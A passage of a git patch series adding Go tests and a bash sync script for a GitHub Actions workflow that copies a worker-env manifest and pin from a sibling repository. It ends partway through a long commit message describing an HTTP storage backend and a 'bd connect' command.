@@ -0,0 +1,259 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "reflect" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// worker-env-autosync.yml closes the #7419 gap: nightly.yml's rbe-worker- +// env-sync job only opens a ci/infra issue for a human to fix a gascity +// re-pin (#7387's ~100-minute stall); this instead runs tools/rbe/worker- +// env-sync every 15 minutes and, on a real mismatch (exit 1), copies +// gascity main's manifest and pin (tools/rbe/worker-env-sync-copy) and +// opens or updates a fixed-branch PR with auto-merge armed. +const ( + workerEnvAutosyncWorkflow = "worker-env-autosync.yml" + workerEnvAutosyncJob = "autosync" + workerEnvAutosyncBranch = "bot/worker-env-sync" + workerEnvSyncCopy = "tools/rbe/worker-env-sync-copy" +) + +// TestWorkerEnvAutosyncWorkflowTriggersOnScheduleAndDispatchOnly: the App +// private key this job mints is a secret of the autofix environment +// (deployment-branch policy: main only), and the only events that can ever +// run on main without a fork in the loop are schedule and workflow_dispatch +// -- pull_request (or pull_request_target) here would hand a fork a path to +// it. +func TestWorkerEnvAutosyncWorkflowTriggersOnScheduleAndDispatchOnly(t *testing.T) { + var parsed struct { + On map[string]any `yaml:"on"` + } + text := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+workerEnvAutosyncWorkflow) + if err := yaml.Unmarshal([]byte(text), &parsed); err != nil { + t.Fatal(err) + } + if got := len(parsed.On); got != 2 { + t.Fatalf("%s on: has %d triggers (%v), want exactly schedule and workflow_dispatch", workerEnvAutosyncWorkflow, got, parsed.On) + } + if _, ok := parsed.On["workflow_dispatch"]; !ok { + t.Errorf("%s has no workflow_dispatch trigger", workerEnvAutosyncWorkflow) + } + schedule, ok := parsed.On["schedule"].([]any) + if !ok || len(schedule) != 1 { + t.Fatalf("%s schedule = %+v, want exactly one cron entry", workerEnvAutosyncWorkflow, parsed.On["schedule"]) + } + cron, _ := schedule[0].(map[string]any) + if cron["cron"] != "*/15 * * * *" { + t.Errorf("%s schedule cron = %v, want */15 * * * * (every 15 minutes)", workerEnvAutosyncWorkflow, cron["cron"]) + } + for _, forbidden := range []string{"pull_request", "pull_request_target", "push", "merge_group", "workflow_run"} { + if _, ok := parsed.On[forbidden]; ok { + t.Errorf("%s must never run on %s (forks or an unprivileged push could reach the autofix App token)", workerEnvAutosyncWorkflow, forbidden) + } + } +} + +// TestWorkerEnvAutosyncWorkflowPermissionsAreMinimal: least privilege. +// Top-level and the job's own grant both stay read-only: every write this +// job makes (the push, the PR, the label, auto-merge) goes through one of +// the two minted App tokens, never the job's own GITHUB_TOKEN permissions, +// so there is nothing here for either App token's role to leak into. +func TestWorkerEnvAutosyncWorkflowPermissionsAreMinimal(t *testing.T) { + var top struct { + Permissions map[string]string `yaml:"permissions"` + } + text := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+workerEnvAutosyncWorkflow) + if err := yaml.Unmarshal([]byte(text), &top); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(top.Permissions, map[string]string{"contents": "read"}) { + t.Errorf("%s top-level permissions = %v, want contents: read", workerEnvAutosyncWorkflow, top.Permissions) + } + + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + wantJobPerms := map[string]any{"contents": "read"} + if !reflect.DeepEqual(job.Permissions, wantJobPerms) { + t.Errorf("%s job %s permissions = %v, want %v (contents:read alone; both write roles come from the minted App tokens)", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.Permissions, wantJobPerms) + } + if job.RunsOn != "ubuntu-latest" { + t.Errorf("%s job %s runs-on = %q, want ubuntu-latest", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.RunsOn) + } + if job.If != "github.repository == 'gastownhall/beads'" { + t.Errorf("%s job %s if = %q, want the fork guard github.repository == 'gastownhall/beads'", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.If) + } + if job.Environment.Name != "autofix" { + t.Errorf("%s job %s environment = %q, want autofix (both Apps' id/private-key secrets live there, gated to main)", workerEnvAutosyncWorkflow, workerEnvAutosyncJob, job.Environment.Name) + } +} + +// TestWorkerEnvAutosyncWorkflowShape: the job compares with gascity main, +// gates every write step on a real mismatch (rc == 1, never rc == 2's +// "unknown" or rc == 0's "in step"), mints two App tokens only once a +// mismatch needs a write, pushes the fixed branch with push-token alone, +// opens/labels the PR and arms auto-merge with pr-token alone (so it is +// not a GITHUB_TOKEN PR - those never trigger CI), and arms auto-merge +// rather than merging directly. +func TestWorkerEnvAutosyncWorkflowShape(t *testing.T) { + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + + sync := job.step(t, "Compare the worker-env manifest and pin with gascity's main") + if sync.ID != "sync" || !strings.Contains(sync.Run, "tools/rbe/worker-env-sync main") { + t.Errorf("sync step: id %q, run %q; want id sync running tools/rbe/worker-env-sync main", sync.ID, sync.Run) + } + + const mismatchIf = "steps.sync.outputs.rc == '1'" + for _, name := range []string{ + "Copy gascity main's worker-env manifest and pin", + "Confirm only the worker-env files moved", + "Mint push token (gastownhall-autofix)", + "Mint PR token (gascity-autofix)", + "Commit and push the sync branch", + "Open or update the sync PR", + } { + step := job.step(t, name) + if step.If != mismatchIf { + t.Errorf("step %q if = %q, want %q (a write step must run only on a real mismatch)", name, step.If, mismatchIf) + } + } + + copyStep := job.step(t, "Copy gascity main's worker-env manifest and pin") + if !strings.Contains(copyStep.Run, workerEnvSyncCopy+" main") { + t.Errorf("copy step run %q, want it to call %s main", copyStep.Run, workerEnvSyncCopy) + } + + pushMint := job.step(t, "Mint push token (gastownhall-autofix)") + if pushMint.ID != "push-token" || actionFamily(pushMint.Uses) != "actions/create-github-app-token" || + pushMint.With["app-id"] != "${{ secrets.AUTOFIX_APP_ID }}" || pushMint.With["private-key"] != "${{ secrets.AUTOFIX_APP_PRIVATE_KEY }}" || + pushMint.With["permission-contents"] != "write" || pushMint.With["permission-pull-requests"] != "" { + t.Errorf("push-token mint = %+v, want the gastownhall-autofix mint (AUTOFIX_APP_ID/AUTOFIX_APP_PRIVATE_KEY, contents:write only)", pushMint) + } + + prMint := job.step(t, "Mint PR token (gascity-autofix)") + if prMint.ID != "pr-token" || actionFamily(prMint.Uses) != "actions/create-github-app-token" || + prMint.With["app-id"] != "${{ secrets.GASCITY_AUTOFIX_APP_ID }}" || prMint.With["private-key"] != "${{ secrets.GASCITY_AUTOFIX_APP_PRIVATE_KEY }}" || + prMint.With["permission-pull-requests"] != "write" || prMint.With["permission-contents"] != "" { + t.Errorf("pr-token mint = %+v, want the gascity-autofix mint (GASCITY_AUTOFIX_APP_ID/GASCITY_AUTOFIX_APP_PRIVATE_KEY, pull-requests:write only)", prMint) + } + if pushMint.Uses != prMint.Uses { + t.Errorf("push-token and pr-token mint different action pins: %q vs %q, want the same SHA-pinned actions/create-github-app-token", pushMint.Uses, prMint.Uses) + } + + push := job.step(t, "Commit and push the sync branch") + if push.Uses != "" || !strings.Contains(push.Run, "git push") { + t.Errorf("push step = %+v, want a plain git push (no action; push-token and pr-token cannot be split through one action's single token input)", push) + } + if push.Env["PUSH_TOKEN"] != "${{ steps.push-token.outputs.token }}" { + t.Errorf("push step env PUSH_TOKEN = %q, want the minted push-token", push.Env["PUSH_TOKEN"]) + } + if _, leaked := push.Env["GH_TOKEN"]; leaked { + t.Errorf("push step sets GH_TOKEN; the push step must never see pr-token") + } + if !strings.Contains(push.Run, workerEnvAutosyncBranch) && push.Env["BRANCH"] != workerEnvAutosyncBranch { + t.Errorf("push step does not reference the fixed branch %q", workerEnvAutosyncBranch) + } + if !strings.Contains(push.Run, "force-with-lease=refs/heads/$BRANCH") { + t.Errorf("push step run %q, want a --force-with-lease scoped to the fixed branch's ref alone", push.Run) + } + + pr := job.step(t, "Open or update the sync PR") + if pr.Uses != "" { + t.Fatalf("PR step uses %q, want plain gh (no action; the token split rules out peter-evans/create-pull-request, which takes one token)", pr.Uses) + } + if pr.Env["GH_TOKEN"] != "${{ steps.pr-token.outputs.token }}" { + t.Errorf("PR step env GH_TOKEN = %q, want the minted pr-token", pr.Env["GH_TOKEN"]) + } + if _, leaked := pr.Env["PUSH_TOKEN"]; leaked { + t.Errorf("PR step sets PUSH_TOKEN; the PR step must never see push-token") + } + if pr.Env["BRANCH"] != workerEnvAutosyncBranch { + t.Errorf("PR step env BRANCH = %q, want the fixed branch %q (so a later run updates the same PR instead of opening a new one)", pr.Env["BRANCH"], workerEnvAutosyncBranch) + } + if !strings.Contains(pr.Run, "gh pr create") || !strings.Contains(pr.Run, "gh pr edit") || !strings.Contains(pr.Run, `--add-label "$LABEL"`) { + t.Errorf("PR step run %q, want it to create-or-update the PR and add the label via gh", pr.Run) + } + if pr.Env["LABEL"] != "status/needs-review-auto" { + t.Errorf("PR step env LABEL = %q, want status/needs-review-auto (routes it through the automated review workflow)", pr.Env["LABEL"]) + } + + merge := job.step(t, "Enable auto-merge") + if merge.If != mismatchIf+" && steps.pr.outputs.number" { + t.Errorf("merge step if = %q, want gated on a real mismatch and a PR having been opened", merge.If) + } + if merge.Uses != "" || !strings.Contains(merge.Run, "gh pr merge --auto") { + t.Errorf("merge step = %+v, want a gh pr merge --auto call (arms auto-merge; never merges outright)", merge) + } + if merge.Env["GH_TOKEN"] != "${{ steps.pr-token.outputs.token }}" { + t.Errorf("merge step env GH_TOKEN = %q, want pr-token (enabling auto-merge is PR-shaped, not a push)", merge.Env["GH_TOKEN"]) + } +} + +// TestWorkerEnvAutosyncWorkflowNeverInterpolatesExpressionsInRun: every +// `${{ }}` GitHub would otherwise substitute directly into a shell script +// is instead assigned to a step's `env:` first, so a value that happens to +// contain shell metacharacters (a PR title, a run URL) is data the shell +// sees through a variable, never text GitHub splices into the script +// before bash ever runs it. +func TestWorkerEnvAutosyncWorkflowNeverInterpolatesExpressionsInRun(t *testing.T) { + job := readCIWorkflow(t, workerEnvAutosyncWorkflow).job(t, workerEnvAutosyncJob) + for _, step := range job.Steps { + if strings.Contains(step.Run, "${{") { + t.Errorf("step %q run contains a ${{ }} expression; move it to env: and reference the variable instead:\n%s", step.Name, step.Run) + } + } +} + +// TestWorkerEnvSyncCopyAgainstFixture runs the real tools/rbe/worker-env- +// sync-copy against a scratch checkout and a local gascity (reusing +// rbe_worker_env_test.go's fixture): it overwrites the manifest and the pin +// byte for byte, leaves everything else untouched, and fails loudly rather +// than writing anything when gascity's platforms/BUILD.bazel carries no +// pin to copy. +func TestWorkerEnvSyncCopyAgainstFixture(t *testing.T) { + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + beads := f.beads(t, rbeTestStaleManifest, stalePin) + rbeTestWrite(t, filepath.Join(beads, workerEnvSyncCopy), readPolicyFile(t, bazelPolicyRoot(t), workerEnvSyncCopy), 0o755) + // A file the copy must never touch. + rbeTestWrite(t, filepath.Join(beads, "tools/rbe/untouched.txt"), "keep\n", 0o644) + + code, out := f.run(t, beads, workerEnvSyncCopy+" main\n") + if code != 0 { + t.Fatalf("worker-env-sync-copy: exit %d\n%s", code, out) + } + if !strings.Contains(out, "copied gascity main's worker-env ("+f.pin+")") { + t.Errorf("worker-env-sync-copy output %q, want it to report the copied pin %s", out, f.pin) + } + gotManifest, err := os.ReadFile(filepath.Join(beads, rbeWorkerEnvManifest)) + if err != nil || string(gotManifest) != f.manifest { + t.Errorf("worker-env.txt after copy = %q, %v; want gascity's manifest %q", gotManifest, err, f.manifest) + } + gotBuild, err := os.ReadFile(filepath.Join(beads, rbeWorkerPlatformBuild)) + if err != nil || !strings.Contains(string(gotBuild), "\"worker-env\": \""+f.pin+"\",") { + t.Errorf("platforms/BUILD.bazel after copy = %q, %v; want the pin %s", gotBuild, err, f.pin) + } + untouched, err := os.ReadFile(filepath.Join(beads, "tools/rbe/untouched.txt")) + if err != nil || string(untouched) != "keep\n" { + t.Errorf("worker-env-sync-copy touched an unrelated file: %q, %v", untouched, err) + } + + // gascity's platforms/BUILD.bazel with no pin at all: nothing copied. + noPinGascity := t.TempDir() + rbeTestWrite(t, filepath.Join(noPinGascity, "main/tools/rbe/worker-env.txt"), "arch x86_64\n", 0o644) + rbeTestWrite(t, filepath.Join(noPinGascity, "main/platforms/BUILD.bazel"), "platform(\n name = \"rbe_worker\",\n)\n", 0o644) + beadsNoPin := f.beads(t, rbeTestStaleManifest, stalePin) + rbeTestWrite(t, filepath.Join(beadsNoPin, workerEnvSyncCopy), readPolicyFile(t, bazelPolicyRoot(t), workerEnvSyncCopy), 0o755) + cmd := "WORKER_ENV_SYNC_URL=file://" + noPinGascity + " " + workerEnvSyncCopy + " main\n" + code, out = f.run(t, beadsNoPin, cmd) + if code == 0 || strings.Contains(out, "copied gascity") { + t.Errorf("worker-env-sync-copy with no gascity pin: exit %d\n%s, want a failure and nothing copied", code, out) + } + stillStale, err := os.ReadFile(filepath.Join(beadsNoPin, rbeWorkerEnvManifest)) + if err != nil || string(stillStale) != rbeTestStaleManifest { + t.Errorf("worker-env-sync-copy wrote despite no gascity pin: %q, %v", stillStale, err) + } +} diff --git a/tools/rbe/worker-env-sync-copy b/tools/rbe/worker-env-sync-copy new file mode 100755 index 000000000..4f0b30be2 --- /dev/null +++ b/tools/rbe/worker-env-sync-copy @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# worker-env-sync-copy: copy gascity's worker-env manifest and pin here. +# +# tools/rbe/worker-env-sync-copy [REF] +# +# tools/rbe/worker-env-sync only detects an out-of-step pin (exit 1) or that +# it could not compare (exit 2); it never writes. This is the write half, +# run only after that exit-1 detection: it fetches gascity's +# tools/rbe/worker-env.txt and platforms/BUILD.bazel at REF (default main) +# and overwrites beads' copies, byte for byte, the same edit #7419 made by +# hand. It does not touch git (no add, commit, or push) -- the caller +# (worker-env-autosync.yml) stages and opens the PR. +# +# Env: WORKER_ENV_SYNC_URL, gascity's raw-content base (default +# https://raw.githubusercontent.com/gastownhall/gascity). Tests only. +# Run from the repository root. +set -Eeuo pipefail + +ref=${1:-main} +base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref +tmp=$(mktemp -d) +trap 'rm -rf "$tmp"' EXIT + +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" + +pin=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' "$tmp/BUILD.bazel") +if [ -z "$pin" ]; then + echo "worker-env-sync-copy: gascity $ref's platforms/BUILD.bazel has no worker-env pin; nothing copied" >&2 + exit 1 +fi + +cp "$tmp/worker-env.txt" tools/rbe/worker-env.txt +sed -i -E "s#\"worker-env\": \"sha256:[0-9a-f]{64}\",#\"worker-env\": \"$pin\",#" platforms/BUILD.bazel + +ours=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' platforms/BUILD.bazel) +if [ "$ours" != "$pin" ]; then + echo "worker-env-sync-copy: platforms/BUILD.bazel still pins $ours after the edit, want $pin" >&2 + exit 1 +fi +echo "worker-env-sync-copy: copied gascity $ref's worker-env ($pin)" From 8dbbe78e9a6ff04ee2d6402e206a59365ae526e9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 10 Oct 2026 07:19:18 +0000 Subject: [PATCH 096/213] feat(backend/http): public HTTP backend door, OSS registration, and bd connect (S6) (#7288) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(backend/http): add the public HTTP backend door, cmd/bd registration, and bd connect internal/httpclient (S1-S5) had no production caller for the per-open backends.OpenOptions.Credential seam and no way for a workspace to actually select it. This slice (S6) closes both gaps in OSS's own idiom, without carrying over anything from bd-enterprise's gateway/box-login/storage-profile machinery: - backend/http (bdhttp) is the public, out-of-tree extension door: Register adds "http" to the backend registry and installs its transport, Open/ Handshake dial a server directly with no workspace on disk, and the registered OpenWith hook threads a per-call credential through beads.OpenBestAvailableWith for a multi-tenant embedder. - internal/httpclient/open_with.go is the backends.Backend.OpenWith hook itself: a fresh dial per open (opts.Credential/HTTPClient/UserAgent), distinct from the process-wide registered dialer Open/OpenReadOnly use. - cmd/bd/http_backend.go registers the backend for the OSS binary, so a workspace whose metadata.json names "http" opens through the ordinary OpenBestAvailable path; any other unregistered backend name still refuses. - cmd/bd/connect.go adds the minimal `bd connect ` command: a handshake that must succeed before anything is written, a per-user activation sidecar (.beads/http_target.json, never git-tracked), a plaintext-to- non-loopback refusal without --allow-plaintext, and a backend-switch refusal without --force. No credential is ever accepted on the command line or written to disk. - cmd/bd/doctor/gitignore.go requires the new http_target.json / http_local_metadata.json sidecars be git-ignored, the same way the proxied-server client info already is. Co-Authored-By: Claude Sonnet 5 * fix(storage): keep external-dependency blocking over http unless the server enforces it bd ready / bd close / claim hard-failed against the new http backend with "GetAllDependencyRecords not supported by the http backend": cmd/bd's storage chain wraps every opened store in the externaldeps policy decorator, which needs either the narrow ExternalDependencyQueryStore interface or the broad GetAllDependencyRecords fallback to resolve blocking state, and the http client implemented neither. The decorator now stays on for a remote store. It is skipped only when the server's handshake advertises policy.external_dependencies (the server enforces the policy before answering). Without that capability the client resolves blocking itself from the listing and chunked dependency reads, so an issue with an unresolvable external: dependency stays out of bd ready exactly as it does on a local backend; it is never silently skipped (DESIGN 3.6). Server-side enforcement is slice S10. storage.RemoteBackendStore marks a DoltStorage that is a pure network client of a remote bd serve; the http backend's Store satisfies it. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): suppress the CreatedBy stamp on create against a remote backend bd create failed against the http backend with "Issue.CreatedBy: ... is not expressible on the v0 wire": the http client's create role deliberately refuses any POPULATED CreatedBy/CreatedAt (the creation stamp belongs to the server's own journal entry, not a value the caller supplies), but cmd/bd/create.go unconditionally stamped getActorWithGit() onto every created issue regardless of backend. The refusal only fires on a non-zero field, so suppressing the stamp for a registered remote backend is wire- compatible by construction, not a workaround. Add isRemoteBackendWorkspace()/creationActorStamp() to backend_support.go, reusing the existing resolveCommandBeadsDir(dbPath) + backendNameForErrorFraming(beadsDir) + backends.IsRemote(name) pattern already used elsewhere in that file, and use creationActorStamp() at both create.go call sites (the dry-run preview and the real create). Co-Authored-By: Claude Sonnet 5 * test(backend/http): add an embedder linkage test over public packages only Prove the one promise S6 makes to an out-of-tree embedder (gc is the motivating case): importing nothing but github.com/steveyegge/beads, .../backend, and .../backend/http is enough to register the http backend, open a workspace through it with a per-call credential (beads.OpenBestAvailableWith), and read through the role-accessor surface (IssueReader().Ready) against a stand-in server — with no internal/... import in the test file, which is itself the thing under test. Written fresh for OSS beads S6; no bd-enterprise source copied. Co-Authored-By: Claude Sonnet 5 * docs: document the HTTP backend, bd connect, and the public backend/http door Add a README section with bd connect usage, the credential ladder, and the plaintext/force refusals, plus a CHANGELOG entry for the new cmd/bd registration, bd connect command, and the public backend/http package. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): address bee-ghosttrack review on #7288 (connect --clear restore, persisted --allow-plaintext) Closes the CHANGES_REQUESTED items on the HTTP backend door PR: - Must-fix: `bd connect --force` over a workspace with its own local (dolt) identity now has writes succeed instead of tripping "workspace identity mismatch detected" — validateWorkspaceIdentity (cmd/bd/main.go) and the sidecar (internal/httpclient/metadata.go) now compare against the http backend's own pinned project id. New e2e regression test TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID (backend/http/e2e_cli_test.go), confirmed to fail without the fix. - Should-fix 1: `bd connect --clear` now restores metadata.json's backend selection to whatever it was before this workspace connected, instead of leaving it pinned to "http" with no sidecar to dial. Target.PreviousBackend (internal/httpclient/target.go) is recorded by Attach (backend/http/attach.go) and round-tripped through the sidecar; connect.go reads it back on --clear. New tests in backend/http/attach_test.go and internal/httpclient/target_test.go. - Should-fix 2: `bd connect --allow-plaintext` is now remembered in the sidecar (Target.AllowInsecureCredential), scoped to the target it was granted for, so every later ordinary command's dial honors the grant without also needing BEADS_HTTP_ALLOW_INSECURE=1 set (internal/httpclient/dial.go). Fixed BearerProvider.warnInsecure's wording (internal/httpclient/credential.go), which used to assert a token was being sent immediately above a refusal saying the opposite. New test TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard. - Should-fix 3: README no longer claims HTTP mode works "exactly as with a local database" — it lists what round-trips and points at the divergence ledger (engdocs/design/http-divergence-ledger.md) for what differs. - Verified, no code change needed: Attach already handles an existing metadata.json project_id coherently (only cfg.Backend is touched); bd show's isNotFoundErr already matches a http 404 (issueops.ErrNotFound is storage.ErrNotFound, the same sentinel a local miss uses), so it reads as "not found" rather than an unsupported-operation error. - Doc fix: guardInsecureCredential's doc comment and refusal message were stale against should-fix 2's own change — they named only DialOptions.AllowInsecureCredential and the env var as ways to get past the guard, not the newly-persisted target.AllowInsecureCredential or `bd connect --allow-plaintext` itself. Gates run clean on this branch: go build/vet, go test over internal/httpclient, backend/http (including the full e2e suite under BEADS_TEST_EMBEDDED_DOLT=1) and cmd/bd, make api-check, make ci-pr-lint, make bazel-sync-check, bazel run //:gazelle -- -mode=diff, and internal/storage's TestEveryLegWiresEveryRoleContract. Co-Authored-By: Claude Sonnet 5 * test(backend/http): give the e2e server the BatchGetter role #7248 added to the required set Co-Authored-By: Claude Opus 5.5 (1M context) * fix: exact http ready totals, connect capability row, doc corrections Ready totals over http (review major). externaldeps drops externally blocked rows client-side for a store that cannot express ExcludeIDs (today httpclient.Store). dropBlockedIssuesWithCounts compacted the fetched rows in place (`kept := rows[:0]`), and readyWorkWithCountsAndTotal then re-scanned `rows` to count the blocked rows it had dropped. By then the compaction had overwritten them, so whenever a blocked row came back ahead of a kept one the re-scan undercounted the drops: `bd ready --json`'s total and text-mode `bd ready`'s count (CountReadyWork) overstated ready work against any server that does not advertise policy.external_dependencies. Both drop helpers now copy into a fresh slice, and dropBlockedIssuesWithCounts reports how many rows it dropped, so nothing re-scans `rows`. fakeStore gains an excludeIDsUnsupported switch that, like httpclient.Store, refuses any ExcludeIDs. The new TestReadyTotalsWhenStoreCannotExpressExcludeIDs puts the blocked issue first and checks the page and total for an unlimited filter, a Limit whose bumped window holds the whole set, and one the set outgrows, then CountReadyWork. TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability now also checks the total and count against a real in-process bd serve. Against the previous decorator the unit test's unlimited case reports total and count 3 beside a 2-row page, and the served test 2 beside a 1-row page. Review minors, all wording: - `bd connect --clear` pointed at `bd config set backend dolt`, which writes the database's config table rather than metadata.json and, in the state that prints the advice (metadata.json says http, sidecar gone), fails the pre-open identity check. It now says to reconnect, or to set "backend" in metadata.json. - CHANGELOG described the superseded skip-at-wrap design; it now describes the always-wrap decorator with its capability probe and client-side drop. - RemoteBackendStore's docs no longer name a consumer; nothing in-tree checks it. - creationActorStamp's comment pointed at backend/http/lifecycle.go; the refusal lives in internal/httpclient/lifecycle.go. Capability row. TestProxyCapabilityRegistryCoversCommandTree fails at 60b7128204: the command tree walk finds `connect`, which this PR adds, with no row in cmd/bd/capability_registry.go ("1 command(s) have no proxied-server capability row: connect"). The test predates the PR (#6582 is an ancestor of its base) and passes at the base dabf20ef07. connect opts out of store init (skipStoreAnnotation) and never reaches the store factory, so it belongs in proxyPermittedPaths beside init and setup. The row is runtime-neutral: validateProxyRegistryBeforeProvider returns nil both for a permitted row and for a path with no row, so this only records the policy decision the coverage test asks for. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(httpclient): regenerate the divergence ledger doc after the S5 rebase The rebase onto feat/http-client-batch-apply's rebased head (S3/S4 merged to main) left the ledger doc's summary line at a conflict-resolution placeholder count. Regenerate it from internal/httpclient/encode.Ledger() so TestDivergenceLedgerDocMatchesLedger passes against the merged ledger.go. Co-Authored-By: Claude Sonnet 5 * fix(backend/http): host-scope S6's test BEADS_HTTP_TOKEN values Rebasing onto feat/http-client-batch-apply's rebased head pulled in main's #7247 review-fix round, which made BEADS_HTTP_TOKEN/BEADS_HTTP_TOKEN_COMMAND host-scoped (host[:port]=value, scopedEnvValue/parseScopedEnv in internal/httpclient/credential.go) after S6's own tests were written against the unscoped form. Five S6 tests across backend/http/open_test.go, backend/http/register_test.go and internal/httpclient/insecure_credential_guard_test.go set a bare token and now hit the new ladder's "an unscoped token would be used for whatever server..." refusal. Scope each to the test server's actual host (127.0.0.1 for the httptest.Server-backed recording servers, nonLoopbackTestHost for the insecure-credential-guard integration tests) so they exercise the same ladder rung as before. Co-Authored-By: Claude Sonnet 5 * build(bazel): resync go_srcs/repo_files for the new backend/http and test/embedder packages make bazel-sync-check failed after the rebase: tools/bazel/go_srcs.py's managed repo_files filegroups for backend/http and test/embedder (new in this slice) hadn't been generated, and the root BUILD.bazel / tools/bazel's release_cross_build target list hadn't picked up the new package either. Regenerate with `python3 tools/bazel/go_srcs.py`; `bazel run //:gazelle -- -mode=diff` reports no further drift. Co-Authored-By: Claude Sonnet 5 * fix(cmd/bd): route swarm's create paths through creationActorStamp after main's currentActor change Co-Authored-By: Claude Opus 5.5 (1M context) * fix: police http's served roles, refuse close --claim-next, exact totals External-dependency policy over http (review blocker). cmd/bd wraps every store, http included, in the externaldeps decorator, and its role accessors rebuilt each role over legacy methods httpclient.Store refuses (SearchIssuesWithCounts, GetDependencyTree, ClaimReadyIssue, IsBlocked, GetDependencyRecordsForIssues, BatchCloserWithPolicy). Over http `bd list`, `bd dep tree`, `bd ready --claim` and a policed `bd close` therefore exited 1, even in a workspace with no external dependency. Over a store that reports storage.RemoteBackendStore, each accessor now starts from the inner store's served role and layers the policy around it (remote_roles.go): - IssueReader serves List and Get from the served reader; Ready and a ready-flagged List go through the policy reader. - IssueClaimer refuses an externally blocked claim before the served one. - ReadyClaimer uses the served claim-next while no issue, closed ones included, holds an unsatisfied external ref. Otherwise it claims down the policy's filtered ready page through the served Claimer, because claimNext cannot exclude ids. - BlockingAnnotator and TreeWalker merge external blockers into, or add external leaves to, the served answer. They read only the named issues' edges through the served EdgeReader, 100 anchors per call. - BatchCloser refuses externally blocked open items and sends the rest to the served closer as one request. --force keeps the base path, and a next claim is refused whole (below). RemoteBackendStore now only chooses this composition. Whether the policy runs is still ServerEnforcesExternalDependencyPolicy's answer (design 3.6), and the storage and httpclient docs say so. remote_roles_test.go drives each role over a store that refuses the legacy methods. TestServedRolesKeepTheExternalDependencyPolicy runs every role over a real http server. TestE2E_BDOverHTTP adds `bd list` (JSON, text and --deps), `bd dep tree`, `bd ready`, `bd list --ready`, `bd ready --claim`, a refused `bd close --claim-next`, and a refused then forced close of an externally blocked issue. At the fixup before the composition, the role tests then written (bar one pin of the next-claim refusal, since replaced) and the e2e's list, dep tree, claim and close steps of that round were red. Close with a next claim over http (review major). batchCloseIssues has no member for a next claim, so httpclient refuses any ClaimNext before the dial (ledger W-CloseBatchRequest.ClaimNext). Over http `bd close --claim-next` therefore always exited 1 and closed nothing. With an external ref anywhere in the workspace (a closed holder or --force included) the decorator's base path failed first, with an opaque `BatchCloserWithPolicy` unsupported. remoteBatchCloser now refuses a next claim whole, before it reads or closes anything, and the error says nothing closed: close without --claim-next, then run `bd ready --claim`. A request that is invalid on every backend is still ErrValidation first, and a server that enforces the policy itself gets the request unchanged. Composing close-then-claim was not taken. The role closes and claims in one transaction and answers with an error or with outcomes, never both, so a claim that failed after the closes committed could not report them; httpclient refuses the same request for that reason. A CLI-level close then claim that can report a partial result is the follow-up. The review also suggested leaving closed holders out of the blocking state. They stay in, as on every backend: a closed issue is never a claim candidate, so they change no claim, and leaving them out would cost a status read per holder because the wire has no batch read. TestRemoteBatchCloserRefusesANextClaim covers an open holder, a closed one, none, --force, and a server that enforces the policy; with the previous remote_roles.go the first four are red. TestRemoteBatchCloserValidatesANextClaimFirst keeps ErrValidation ahead of the refusal. Dropping the filter check, or loading the blocking state before refusing, is each caught. TestE2E_BDOverHTTP runs `bd close --claim-next` while the holder is open and again after it is closed; with the previous remote_roles.go both steps are red and print `operation "BatchCloserWithPolicy" not supported`. Ledger F-close no longer says --claim-next is served, and no longer names a renderEscapedHTTPRefusal that does not exist. L14 says the decorator's claim leg applies while any issue, closed or not, holds an unsatisfied ref. The README and CHANGELOG mention the refusal, and the decorator's IsBlocked, IsBlockedBatch and CloseIssueChecked say they refuse over a store that serves its roles. Ready totals with external blockers (review majors, both rounds). CountReadyWork asks for Limit=0, and readyWorkWithCountsAndTotal took any Limit<=0 to mean "the window held the whole ready set". Over http a zero limit never reaches the wire: the server answers with its default page (workapi.DefaultReadyLimit, 100 rows) while the bridge reports the full total, so past 100 ready issues text-mode `bd ready` kept counting externally blocked issues beyond the first page. Exactness is now judged from the rows that came back (total <= len(rows)). A window that holds only part of the set no longer subtracts every externally blocked id in the workspace either: that set includes closed issues and ones the filter excludes, none of them in the total, so the count came out low. It refetches the filtered ready set, ids only, and subtracts the blocked rows in it; the old bound is left as the fallback for a refetch that comes back truncated too. fakeStore gains the bridge's shape: a defaultPage for a zero Limit, with GetReadyWorkWithCountsAndTotal still totalling the whole set. TestReadyTotalsWhenAnUnlimitedFetchComesBackAsOnePage (a blocked issue past the first page) and TestReadyTotalsIgnoreExternallyBlockedIssuesOutsideTheReadySet (a blocked issue outside the ready set) have served counterparts, TestServedReadyCountExcludesAnExternallyBlockedIssuePastTheDefaultPage and TestServedReadyTotalIgnoresAnExternallyBlockedIssueOutsideTheFilter (an assignee filter). The first pair is red on the Limit<=0 condition, the second on the subtract-every-blocked-id branch. Docs: ledger L8 now says which decorator paths take the chunked GetAllDependencyRecords scan and which read only named edges, and L14 records the decorator's composed claim leg; http-divergence-ledger.md is regenerated. The README 